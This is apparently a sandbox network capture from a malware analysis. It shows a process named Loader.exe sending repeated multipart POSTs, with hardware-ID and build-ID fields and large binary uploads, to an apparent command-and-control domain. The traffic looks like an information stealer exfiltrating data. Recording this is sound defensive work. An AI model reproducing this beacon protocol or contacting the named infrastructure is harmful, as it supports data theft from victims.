dzJoDTa1uGtsdHpCBnOGNAFDuhx1hIZc/CP31h2jhus9LC8Zer+zLDsxOQtFdZR9VQycFWyC2hS9PbLCUaSHpm9tJh5zuLkoOzdrRANgjDAHXrcTYoOMQ/4k+tAdsYLmNCZmWja1rGtsdFpSE3iLMRtHvBtxg5EOs2Lt3ADj0/AnOiELOKv0LDh0IQUDe4o6C0KvHWGBjkf0JvTYEaeP4TIuKh9xsbsvPTpwSkU8zDoVDOVYRpWCQvBi45UI44z
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 6c 51 75 38 70 51 67 49 6a 46 2b 55 30 64 48 6a 7a 4d 44 53 36 74 59 65 4c 48 50 44 76 49 34 76 49 4d 6f 75 73 76 68 4f 32 31 2b 56 47 4f 31 74 43 77 75 49 6e 35 4a 46 48 6d 42 4d 53 39 44 75 67 35 6b 67 59 4a 66 39 47 37 33 31 6c 48 74 79 2b 45 76 62 58 35 55 57 62 57 69 4b 42 73 33 61 45 78 46 50 4d 77 36 47 77 7a 6c 57 46 6e 4f 6b 30 33 74 49 66 50 4b 4c 2b 50 54 2f 77 6c 74 4c 51 4a 78 6f 72 63 39 50 7a 6c 31 56 44 73 79 31 47 6c 66 48 75 39 4b 4e 5a 48 42 55 63 4a 73 76 4e 70 52 2b 37 4c 2f 64 7a 74 6d 54 43 54 38 39 44 6c 30 62 44 6b 43 42 6d 43 65 4f 77 35 61 76 6c 39 5a 73 4b 5a 59 39 79 58 73 33 41 61 73 79 36 68 33 49 6d 5a 4d 54 2f 4b 39 4c 43 38 6c 62 30 67 56 64 63 77 43 51 77 79 6c 57 44 2f 4f 74 45 33 7a 4c 50 76 4e 41 4f 36 73 38 44 30 71 Data Ascii: lQu8pQgIjF+U0dHjzMDS6tYeLHPDvI4vIMousvhO21+VGO1tCwuIn5JFHmBMS9Dug5kgYJf9G731lHty+EvbX5UWbWiKBs3aExFPMw6GwzlWFnOk03tIfPKL+PT/wltLQJxorc9Pzl1VDsy1GlfHu9KNZHBUcJsvNpR+7L/dztmTCT89Dl0bDkCBmCeOw5avl9ZsKZY9yXs3Aasy6h3ImZMT/K9LC8lb0gVdcwCQwylWD/OtE3zLPvNAO6s8D0q
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 37 30 5a 58 51 68 63 6b 6b 44 66 35 6c 79 48 46 71 2b 44 6d 44 43 69 56 2f 77 4c 72 7a 6b 58 2b 4f 54 70 6d 39 74 45 78 64 34 76 4c 4d 39 4a 58 6c 5a 54 67 6c 78 67 44 77 4b 44 50 4e 59 59 63 37 5a 48 62 4e 69 2b 4d 70 52 2b 39 75 30 62 48 68 31 51 79 62 67 71 32 55 74 64 47 38 46 58 53 44 43 66 52 38 4d 35 56 67 67 6a 5a 4e 63 2b 79 48 71 32 46 61 64 74 65 63 36 49 6d 6f 61 66 62 4b 7a 4f 79 49 76 4e 55 30 47 61 4a 59 44 4d 32 65 78 48 6d 43 55 68 6b 6a 62 41 72 79 56 55 61 7a 4c 76 67 35 74 62 6c 52 4a 2f 50 51 7a 64 47 77 35 63 41 5a 38 67 6a 6f 62 58 66 41 77 52 4c 53 37 44 4e 45 6c 36 5a 6b 6c 70 4a 76 33 50 43 41 71 56 44 6a 79 73 6d 74 73 5a 44 63 46 41 57 50 4d 5a 56 30 65 35 6b 30 30 32 64 45 63 34 6d 7a 6c 6d 77 66 6a 30 37 52 35 62 54 52 55 4c Data Ascii: 70ZXQhckkDf5lyHFq+DmDCiV/wLrzkX+OTpm9tExd4vLM9JXlZTglxgDwKDPNYYc7ZHbNi+MpR+9u0bHh1Qybgq2UtdG8FXSDCfR8M5VggjZNc+yHq2Fadtec6ImoafbKzOyIvNU0GaJYDM2exHmCUhkjbAryVUazLvg5tblRJ/PQzdGw5cAZ8gjobXfAwRLS7DNEl6ZklpJv3PCAqVDjysmtsZDcFAWPMZV0e5k002dEc4mzlmwfj07R5bTRUL
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 73 5a 7a 63 46 46 7a 4c 55 66 55 70 43 73 42 6c 6b 67 49 4a 63 37 79 54 2f 7a 52 4c 6b 74 64 67 53 49 43 73 52 65 4c 57 4b 46 52 55 2b 61 55 67 4b 64 63 34 64 43 6c 71 2b 4a 6c 6d 35 6b 45 6e 74 59 4e 72 59 42 36 44 4c 71 48 63 31 5a 6b 77 32 6b 37 34 37 4f 54 74 2b 42 79 56 31 6d 6a 35 4e 41 76 30 63 4a 39 62 42 61 2f 41 76 2b 64 55 57 34 61 72 73 4a 79 41 70 45 7a 53 53 73 7a 30 33 64 44 63 46 43 54 4c 55 66 51 78 47 72 52 56 6f 69 63 31 4a 35 79 57 38 6c 56 47 74 79 37 35 33 4c 43 77 45 65 37 32 7a 5a 7a 49 36 64 77 55 61 50 4a 56 39 47 77 7a 6c 53 79 6e 4f 6b 77 36 6c 59 72 76 59 41 37 47 4e 35 53 45 75 59 53 70 49 6e 36 59 73 4a 44 63 37 64 41 68 32 6d 69 67 4f 58 4c 6f 6d 57 61 4f 54 53 65 30 68 76 75 6f 48 6f 49 76 6f 4d 47 31 6f 56 47 37 79 37 47 Data Ascii: sZzcFFzLUfUpCsBlkgIJc7yT/zRLktdgSICsReLWKFRU+aUgKdc4dClq+Jlm5kEntYNrYB6DLqHc1Zkw2k747OTt+ByV1mj5NAv0cJ9bBa/Av+dUW4arsJyApEzSSsz03dDcFCTLUfQxGrRVoic1J5yW8lVGty753LCwEe72zZzI6dwUaPJV9GwzlSynOkw6lYrvYA7GN5SEuYSpIn6YsJDc7dAh2migOXLomWaOTSe0hvuoHoIvoMG1oVG7y7G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49792	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:39 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U5BOA8BVM9R9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12804 Host: fancywaxxers.shop
2024-12-31 16:38:39 UTC	12804	OUT	Data Raw: 2d 2d 55 35 42 4f 41 38 42 56 4d 39 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 32 34 35 30 30 35 41 43 30 37 30 35 35 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 55 35 42 4f 41 38 42 56 4d 39 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 35 42 4f 41 38 42 56 4d 39 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 38 30 39 32 32 34 31 30 33 0d 0a 2d 2d 55 35 42 4f 41 38 42 56 4d Data Ascii: --U5BOA8BVM9R9Content-Disposition: form-data; name="hwid"18E245005AC07055C82A8148C6E54400--U5BOA8BVM9R9Content-Disposition: form-data; name="pid"2--U5BOA8BVM9R9Content-Disposition: form-data; name="lid"yau6Na--5809224103--U5BOA8BVM
2024-12-31 16:38:40 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f9b2si32rm53d66d3iflvcqjq8; expires=Sat, 26 Apr 2025 10:25:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1uSzain6xZK%2Bw0RGLrY4W6mhOJ2ayksJqjaM4yAT75qw4Qo2pIe%2FS%2Fx%2BmLrAEM9i1GxqjgrMAsefTFelMZCZZJPE3oREMpZs9juRQWsv%2Bc3dRKoE28eQhCIymwD7GKbn1VS7nw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb381dda4c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1588&rtt_var=616&sent=13&recv=18&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13739&delivery_rate=1745367&cwnd=244&unsent_bytes=0&cid=097bdb176374d005&ts=837&x=0"
2024-12-31 16:38:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:38:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49800	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:41 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DESGX3OQDDC0V3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15058 Host: fancywaxxers.shop
2024-12-31 16:38:41 UTC	15058	OUT	Data Raw: 2d 2d 44 45 53 47 58 33 4f 51 44 44 43 30 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 32 34 35 30 30 35 41 43 30 37 30 35 35 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 44 45 53 47 58 33 4f 51 44 44 43 30 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 45 53 47 58 33 4f 51 44 44 43 30 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 38 30 39 32 32 34 31 30 33 0d 0a 2d 2d 44 45 53 Data Ascii: --DESGX3OQDDC0V3Content-Disposition: form-data; name="hwid"18E245005AC07055C82A8148C6E54400--DESGX3OQDDC0V3Content-Disposition: form-data; name="pid"2--DESGX3OQDDC0V3Content-Disposition: form-data; name="lid"yau6Na--5809224103--DES
2024-12-31 16:38:42 UTC	1143	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=stjic5us281qgi57vp31k4emca; expires=Sat, 26 Apr 2025 10:25:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3pr7PRBBv%2BQg06yH8GXP9a1Zfdg%2BwF7ckLUQmfI5oL5%2B8%2FaocUpQI8o8EOirgtZHHmeRqlWLCsut63TYVCNIS9%2Brtq%2BqLne661I%2BHcLbFsApoRmzGwiyc%2BSF3ppLl6ZlfjdlWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb38ae9dd0f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1527&min_rtt=1521&rtt_var=583&sent=8&recv=20&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15995&delivery_rate=1856325&cwnd=231&unsent_bytes=0&cid=cff969e58c7a6f73&ts=1568&x=0"
2024-12-31 16:38:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:38:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49815	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:43 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OH8EJ5QT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20512 Host: fancywaxxers.shop
2024-12-31 16:38:43 UTC	15331	OUT	Data Raw: 2d 2d 4f 48 38 45 4a 35 51 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 32 34 35 30 30 35 41 43 30 37 30 35 35 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 4f 48 38 45 4a 35 51 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 48 38 45 4a 35 51 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 38 30 39 32 32 34 31 30 33 0d 0a 2d 2d 4f 48 38 45 4a 35 51 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --OH8EJ5QTContent-Disposition: form-data; name="hwid"18E245005AC07055C82A8148C6E54400--OH8EJ5QTContent-Disposition: form-data; name="pid"3--OH8EJ5QTContent-Disposition: form-data; name="lid"yau6Na--5809224103--OH8EJ5QTContent-Dis
2024-12-31 16:38:43 UTC	5181	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d 1b 88 82 Data Ascii: un 4F([:7s~X`nO`i`
2024-12-31 16:38:44 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ipb620qrfmml82a92fm6q252c7; expires=Sat, 26 Apr 2025 10:25:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=trqbCUsEtGMtiGScd2gnAu5zqTcRCXTGnvfep0evYK7IThJw%2BfO5xbAbW8sS4o8enSYlwUpQNXEH8rm0WWJpPJeuCEm6%2Fqi89zG0JWSRuzeUda5bmOB6jj71eKeJrvZv72fYUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb3999bba8c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1949&min_rtt=1946&rtt_var=735&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21465&delivery_rate=1482233&cwnd=223&unsent_bytes=0&cid=19197222feb7b222&ts=762&x=0"
2024-12-31 16:38:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:38:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49827	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:45 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TMY17K7WU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1204 Host: fancywaxxers.shop
2024-12-31 16:38:45 UTC	1204	OUT	Data Raw: 2d 2d 54 4d 59 31 37 4b 37 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 32 34 35 30 30 35 41 43 30 37 30 35 35 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 54 4d 59 31 37 4b 37 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 4d 59 31 37 4b 37 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 38 30 39 32 32 34 31 30 33 0d 0a 2d 2d 54 4d 59 31 37 4b 37 57 55 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --TMY17K7WUContent-Disposition: form-data; name="hwid"18E245005AC07055C82A8148C6E54400--TMY17K7WUContent-Disposition: form-data; name="pid"1--TMY17K7WUContent-Disposition: form-data; name="lid"yau6Na--5809224103--TMY17K7WUContent
2024-12-31 16:38:46 UTC	1135	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1nogc6hsb5c2d4qi2sojfv94ki; expires=Sat, 26 Apr 2025 10:25:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QsE0LSqoqNLHmtxgtgI0cU6GMX8nTLBaCbw0wAb0RNwo0BJCAdF7QtVzgF1mdv4xS0f%2FHBES3ydtZgKVUol%2FxHknRj%2BLfSNg%2FYXRYf4NVeRf3tNbkGN7u%2BM13QAbZqQKagyjRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb3a5bad1c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1651&rtt_var=625&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2113&delivery_rate=1743283&cwnd=244&unsent_bytes=0&cid=be9f7f3656f6153d&ts=1009&x=0"
2024-12-31 16:38:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:38:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49842	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:47 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0MBIVEZHVYB9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570460 Host: fancywaxxers.shop
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 2d 2d 30 4d 42 49 56 45 5a 48 56 59 42 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 32 34 35 30 30 35 41 43 30 37 30 35 35 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 30 4d 42 49 56 45 5a 48 56 59 42 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 4d 42 49 56 45 5a 48 56 59 42 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 38 30 39 32 32 34 31 30 33 0d 0a 2d 2d 30 4d 42 49 56 45 5a 48 56 Data Ascii: --0MBIVEZHVYB9Content-Disposition: form-data; name="hwid"18E245005AC07055C82A8148C6E54400--0MBIVEZHVYB9Content-Disposition: form-data; name="pid"1--0MBIVEZHVYB9Content-Disposition: form-data; name="lid"yau6Na--5809224103--0MBIVEZHV
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 5c ef 22 79 13 e0 05 c9 6d f5 0c 77 21 9b fe 50 75 67 5a d6 5b d1 32 b4 26 2e 55 92 c1 1c 7a 37 a8 f4 92 ab 1b 4b 59 bf a7 64 9d ff 0d 77 5c 3b b3 c1 47 05 74 3c 66 04 be 51 a9 51 16 0f db b0 72 e6 cf f7 db 34 6e 16 74 a1 29 47 42 1a e7 8a 76 b8 f4 0d 7c 41 13 30 52 c5 a0 2d dc c8 2c 04 29 b7 16 4c ee 35 b2 15 44 b6 0b 02 a1 fc 49 7c c2 2f 31 07 77 fc 39 d0 b4 4a a7 2f 5e 2d e2 97 89 5e f4 c8 78 38 64 27 71 68 2c f3 64 66 46 29 d4 2e 90 0c ae fc 3e e5 b5 78 5d c0 dc cd 88 26 b4 be 6f f5 b4 5a 72 95 6b 28 cc f0 96 45 ad 88 f1 4e 74 bb 5f 17 e1 12 36 fd 15 c6 ff 92 e0 5f 5d 4a a2 27 68 80 49 f0 dc 34 11 31 e4 f0 5e 31 e9 39 4a 2c 20 1d 64 06 f3 06 3b 8b d0 cd ed dd aa ce 90 89 04 b8 d5 1a 99 26 81 f5 4c 3b 45 b0 30 7f da 02 84 0e 32 dd 6e 2a 38 ca 7d 31 24 Data Ascii: \"ymw!PugZ[2&.Uz7KYdw\;Gt<fQQr4nt)GBv\|A0R-,)L5DI\|/1w9J/^-^x8d'qh,dfF).>x]&oZrk(ENt_6_]J'hI41^19J, d;&L;E02n*8}1$
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: f5 9b ca b4 83 38 76 31 21 92 19 4f 4d 38 69 2f 28 26 de f9 71 56 4c 7e 38 00 1b 49 5c 5d fd 40 90 97 c6 77 ee 20 f5 9d b6 39 af d5 95 80 fc ea 86 1b c2 54 15 73 c4 1c a2 ee 6a 2d 5c 1a 33 c2 cc 28 71 53 0a ae bb ef 26 47 06 d1 37 c5 56 d4 c7 5e 1f ac be b3 da f3 b6 5b 95 53 23 9c 1c cc 99 a5 77 ac 38 3c 0a 26 a1 7e 3e 66 78 0b 5e 7e b3 de 1f 64 f7 4b 9f 67 f8 70 9a e2 9b 46 48 2c 38 7e 47 96 df 18 97 ff de f0 a6 fd d4 c1 8a 5f e7 67 c7 52 3c 7c b5 fb bd 1f 6c fc ca e7 d5 f5 53 16 a1 77 2e 9f de 3e 82 58 71 ef 06 27 f3 92 43 e3 f4 3d 7e 46 cd 8e 3e b0 12 61 cd 99 67 3b b0 aa bc 9e ee a9 ed f2 df eb d3 bf e7 a8 dd 86 a7 6d e5 20 61 46 71 ec 27 66 74 97 dc dd b9 9e e9 f4 5f b3 69 e3 07 f3 6a aa c7 5b 45 4e b2 7e 3a 7f 50 38 e9 eb d1 d0 a8 b2 ef 31 ef e4 49 Data Ascii: 8v1!OM8i/(&qVL~8I\]@w 9Tsj-\3(qS&G7V^[S#w8<&~>fx^~dKgpFH,8~G_gR<\|lSw.>Xq'C=~F>ag;m aFq'ft_ij[EN~:P81I
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 10 f7 90 d4 a3 f3 a0 34 8e ef 94 c8 b3 f0 b4 93 a1 96 bf 44 83 e6 19 80 71 d6 3d bf a8 ea fd 7b 8d 03 92 c9 77 86 4e 91 70 f7 83 7d 5d 99 06 ba 85 73 a2 ec ef e9 9d af 72 3b d9 33 05 2d a7 87 3b 0c 54 7c 3e e5 4b f8 37 be ac 15 f8 51 5a 2d 8f 57 e3 90 f1 0c c9 3d 30 fb 8c 24 24 5c 39 bd 3c dc 32 d2 51 ae a1 6d b3 d5 ec 19 15 f8 7a 48 0c bb 0f 05 de 5b 57 c8 5d 1d 76 bc f3 b5 fc 86 5b 6e 31 c8 ad 72 eb 3b 3c 93 d1 d7 11 c0 0a 6c d2 7e 25 da 79 42 61 9e 63 3b 73 48 e1 0b 3c 2d 13 f6 9e b5 33 f5 ec a5 6a 21 2b 44 c3 75 67 7a c7 cf 3e 38 dc 96 54 ce f7 e1 fb 96 f4 e5 87 ec e4 0f d5 7a 11 4f 53 8a d8 49 83 63 5d ec ed 1f 76 5f 49 d6 d5 6d 8a bd 93 c5 23 b4 8b 8e f6 63 5d 43 b7 37 20 46 5e 21 96 f6 55 81 8e cc c0 72 5e c8 8c 0b 8c e9 66 1a e0 7b f8 76 2f 03 57 Data Ascii: 4Dq={wNp}]sr;3-;T\|>K7QZ-W=0$$\9<2QmzH[W]v[n1r;<l~%yBac;sH<-3j!+Dugz>8TzOSIc]v_Im#c]C7 F^!Ur^f{v/W
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 74 69 a4 28 03 99 15 84 29 dd ca ea 73 f1 96 11 3d 28 c3 69 0e 25 74 58 2c 61 fa 19 2b 84 ef 16 47 5f 30 e7 fa c4 54 bb 04 dc 33 aa 77 79 0b ba bd 3f bd 2e fa 7f ca c8 16 1d 14 70 d3 6b cc a9 e0 2e 1a 7c b8 f3 b2 81 0b 0c 56 39 0e db a8 bb e0 04 b7 de be f3 db fb 4e c7 dc 5f 5f d2 21 48 49 f2 b2 f7 d1 77 aa a7 28 e9 7e d8 bf f7 6a 4f 08 26 eb b1 20 86 4d 22 cc f3 ff 98 b1 bb 7b 6c 24 41 f1 08 d7 6e b4 00 d2 23 61 d9 b9 d7 02 8c cf a5 b4 94 26 34 b2 3e 34 ef 28 60 22 ee 0f d0 4e 80 d6 4f ec 2d c1 84 fa 23 54 44 5b 62 90 a2 ea 02 51 ee 28 e3 e0 88 e0 cf eb 0b fc 5e e0 f4 d5 63 c2 db bc 3f 58 2f bd 43 d2 